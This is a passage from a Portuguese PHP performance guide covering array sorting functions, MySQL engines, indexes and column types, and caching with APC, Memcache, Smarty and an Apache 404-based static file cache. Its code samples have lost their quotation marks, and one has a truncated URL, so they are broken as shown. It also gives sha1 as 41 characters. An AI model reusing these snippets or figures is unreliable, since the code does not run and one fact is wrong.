32 Para evitar esse problema, existe uma extensão chamada inclued ( inclued) que permite fazer um rastreamento de onde os includes e requires estão sendo chamados e que arquivos estão sendo chamados. E assim se torna possível fazer uma organização e eliminar, ou reduzir, a necessidade do include once e require once, sendo substituídos pelo include e require convencional Arrays Até o PHP 5.2.* Arrays são a única maneira de manipular coleções no PHP e ordenação é um dos problemas mais discutidos da computação. Apesar de não muito conhecidas, existem no PHP várias funções para ordenação e manipulação de Array que permitem uma performance maior do que a elaboração de algoritmos personalizados em PHP. Algumas dessas funções são: array walk - Aplica uma determinada função em cada elemento de um array array filter - Filtra os elementos da array usando uma função de callback sort - Ordena um array rsort - Ordena um array em ordem decrescente asort - Ordena um array mantendo a associação entre índices e valores arsort - Ordena um array em ordem decrescente mantendo a associação entre índices e valores usort - Ordena um array pelos valores utilizando uma função de comparação definida pelo usuário ksort - Ordena um array pelas chaves krsort - Ordena um array pelas chaves em ordem decrescente uksort - Ordena um array pelas chaves utilizando uma função de comparação definida pelo usuário. Muitas dessas rotinas ficam mais simples de serem usadas no PHP 5.3 com as Closures e algumas se tornam dispensáveis caso o desenvolvedor escolha a estrutura de dados certa dentre as propostas do SPL Data Structures 9.3 MySQL Ao usar o banco de dados saiba fazer suas escolhas, a começar da Engine que você usa para as suas tabelas MyISAM A engine MyISAM foi feita para ser simples e rápida, e para isso abre mão de algumas funcionalidades dos bancos de dados relacionais para manutenção de integridade como transações e chaves estrangeiras. MyISAM também não é ideal para tabelas que recebem muitas inserções, pois o processo de escrita numa tabela MyISAM implica em um lock de toda a tabela enquanto a escrita é feita (table level locking) e não permite sequer que leituras a outros registros sejam feitas em paralelo à essa escrita. MyISAM possui os índices do tipo fulltext que otimizam a busca textual e permite que você faça consultas em bases textuais com resultados precisos e rápidos. Porém não é uma solução muito escalável. Para grandes massas de dados textuais é indicado o uso de ferramentas como Sphinx ou Lucene para indexação e busca, pois terão uma performance melhor que o índice Fulltext do MyISAM. MyISAM é a melhor escolha caso você tenha uma tabela que trata muitas leituras e poucas escritas e que não precisa garantir a manutenção da integridade relacional, isso seria responsabilidade da sua aplicação, além disso MyISAM requer menor espaço em disco e memória do que tabelas InnoDB e utiliza recursos de cache do sistema operacional ao invés de ter sua própria implementação. 31

33 9.3.2 InnoDB A engine InnoDB foi adicionada ao MySQL com o intuito de adicionar as funcionalidades de integridade relacional como transações e chaves estrangeiras e tem uma maneira diferente de tratar os dados se comparado com a MyISAM. InnoDB trata bem operações em paralelo pois executa o lock por linha (row level locking), ou seja, enquanto um registro de uma tabela está sendo criado ou alterado, os outros continuam acessíveis para execuções paralelas e é menos suscetível a corrupções da base. InnoDB não tem índices fulltext como o MyISAM, assim força o uso de ferramentas externas para a implementação de busca textual Índices A escolha das colunas de índice é fundamental para a performance das consultas. É importante definir como índice as colunas que são usadas como parâmetro de busca e ordenação, mas também é importante ter em mente que quanto mais índices, mais lenta fica a inserção que precisa atualizar os índices e organizar as árvores B+ que mantém os índices. Dessa forma, as colunas utilizadas como parâmetros nas consultas para comparação e ordenação, devem ser índice, e as outras não Tipos de dados É importante sempre escolher os tipos certos para a informação certa, isso torna o consumo de espaço em disco mais eficiente e comparações mais eficientes. CHAR e VARCHAR Use VARCHAR se um campo é naturalmente de tamanho variável, se o campo terá sempre o mesmo tamanho (como por exemplo um hash md5 (32 caracteres) ou sha1 (41 caracteres)) use CHAR. O VARCHAR além de armazenar a string em si, armazena um inteiro que diz qual o seu tamanho. Datas Utilize formatos específicos para armazenar datas. Facilitará operações de comparação, ordenação e formatação, enquanto se for armazenada como VARCHAR perderá essas facilidades e perderá em performance. 32

34 Capítulo 10 Caching Grande parte dos problemas de performance em sistemas Web é resolvida com cache. A ideia do Cache é algo simples, você pega algo que é muito acessado em um lugar relativamente lento e faz uma cópia daquilo numa fonte mais rápida para agilizar esse processo que é tão frequente. É isso que os nossos computadores fazem com os seus registradores, memórias cache, RAM e disco (nessa ordem, do mais rápido para o mais lento) e otimizam o acesso à informação que é mais requisitada APC O APC além de fazer o cache do código PHP compilado em Opcode, também permite o cache de objetos na memória num esquema de dupla chave-valor. Para armazenar algo em memória você pode chamar a função: apc_store($chave, $valor) e para recuperar essa informação (que estará disponível inclusive para requests diferentes do original que gerou o cache) você pode usar a função apc_fetch($chave) 10.2 Memcache Memcached é um sistema de cache de objetos em memória de alta performance. Ele foi desenvolvido de maneira que se consiga armazenar qualquer tipo de informação, mas é utilizado principalmente em aplicações Web para cache de resultados de consultas SQL. Ele roda em um processo (daemon) separado e é acessado pelo PHP através de sockets TCP. Ao se guardar uma informação no memcached, o programador atribui uma chave identificadora daquele dado que é usado para recuperar a informação, por exemplo: <?php $memcache = new Memcache; //Depois de instanciado, é necessário conectar-se ao daemon $memcache->connect( localhost, 11211); //Pega conteúdo que está em cache usando o índice "estados" $noticia = $memcache->get( noticia_.$id); //Se o conteúdo n~ao estiver em cache if($noticia === false) { /* Processa o conteúdo, busca no banco, etc. E salva no memcached com o índice "noticia_$id" */ 33

35 $noticia = Noticia::find($id); $memcache->set( noticia_.$id, $noticia, false, 3600); }?> Para o uso do Memcache é necessária a instalação o Memcached (daemon) e o suporte a Memcache para PHP, que pode ser instalado via PECL ou via APT 10.3 Smarty O Smarty além de servir como ferramenta para isolar a camada de visualização de uma aplicação da lógica de negócio também tem a funcionalidade de cache que diferente dos dois exemplos anteriores gera cache em disco que ajudam a diminuir a carga sobre o banco de dados. <?php require smarty/smarty.class.php ; $id = (int) $_GET[ id ]; $smarty = new Smarty(); $smarty->caching = 1; if(!$smarty->is_cached( noticia.tpl,$id)) { //Carrega do banco de dados... } $smarty->display( noticia.tpl,$id);?> 10.4 Funky Caching Para um servidor Web é muito mais rápido servir arquivos estáticos do que esperar que aquele arquivo seja interpretado por algum módulo ou que seja executado em CGI e é isso que esse método faz, gera arquivos estáticos sob demanda, utilizando os recursos que o Apache oferece. Agora imagine que você tem um site de notícias e quer que elas sejam tratadas como arquivos estáticos, e os links para cada notícia seria algo como: 1 o passo: Setamos nas configurações do Apache para que a página de erro 404 seja um arquivo.php (isso pode ser feito no.htaccess da pasta ou nas configurações do Apache propriamente dito). No caso do.htaccess, basta colocar isso: ErrorDocument 404 /noticias/gera_cache.php 2 o passo: Criamos o arquivo gera cache.php, que irá tratar as requisições que teriam como resposta o erro 404 (Not Found) com o código mais ou menos assim: <?php $id = basename($_server[ REDIRECT_URL ],.html ); /* Acessa a página din^amica */ $html = file_get_contents( sprintf(" ); /* O ideal é fazer algum tratamento de erros, para evitar a 34

36 criaç~ao de arquivos para ids inválidos */ /* Exibe o conteúdo */ header(sprintf( %s 200, $_SERVER[ SERVER_PROTOCOL ])); echo $html; /* Salva o conteúdo em um arquivo.html */ $fp = fopen(sprintf(dirname( FILE )."/%d.html", $id), "w"); fputs($fp, $html); fclose($fp);?> É importante estar atento para alguns detalhes: Em um ambiente real, esse código precisa ter alguns processos de validação (para não criar arquivos para Ids inválidos) e utilizar o flock para fazer o lock no arquivo a ser escrito para evitar que duas execuções em paralelo para gerar um mesmo arquivo causem problemas. E ao invés de acessar a página que gera o conteúdo através de HTTP pode-se já gerar o conteúdo nesse mesmo arquivo, gravando toda a saída (html) em um buffer que então seria escrito no arquivo estático. Facilitando as validações. Sendo assim, o que vai acontecer: Quando o usuário acessar pela primeira vez o link o arquivo /noticias/ html não existirá e o usuário será redirecionado para o gera cache.php. O gera cache.php acessa a página dinâmica que exibe o conteúdo da página com o id passado (000001) e salva em um html. Nos acessos consecutivos ao o arquivo existirá e não passará mais pelo PHP. É uma técnica bem tricky e que precisa de cuidados, por exemplo, você precisa ter uma rotina que expira os arquivos em cache após algum tempo e quando houver alguma alteração em determinada informação que interfere na página que está em cache, para garantir consistência dos dados. Uma maneira muito simples de se fazer isso é usando a função filectime do PHP para checar a idade dos arquivos em uma rotina que rodaria em background e apagaria os que fossem mais velhos que o tempo desejado. 35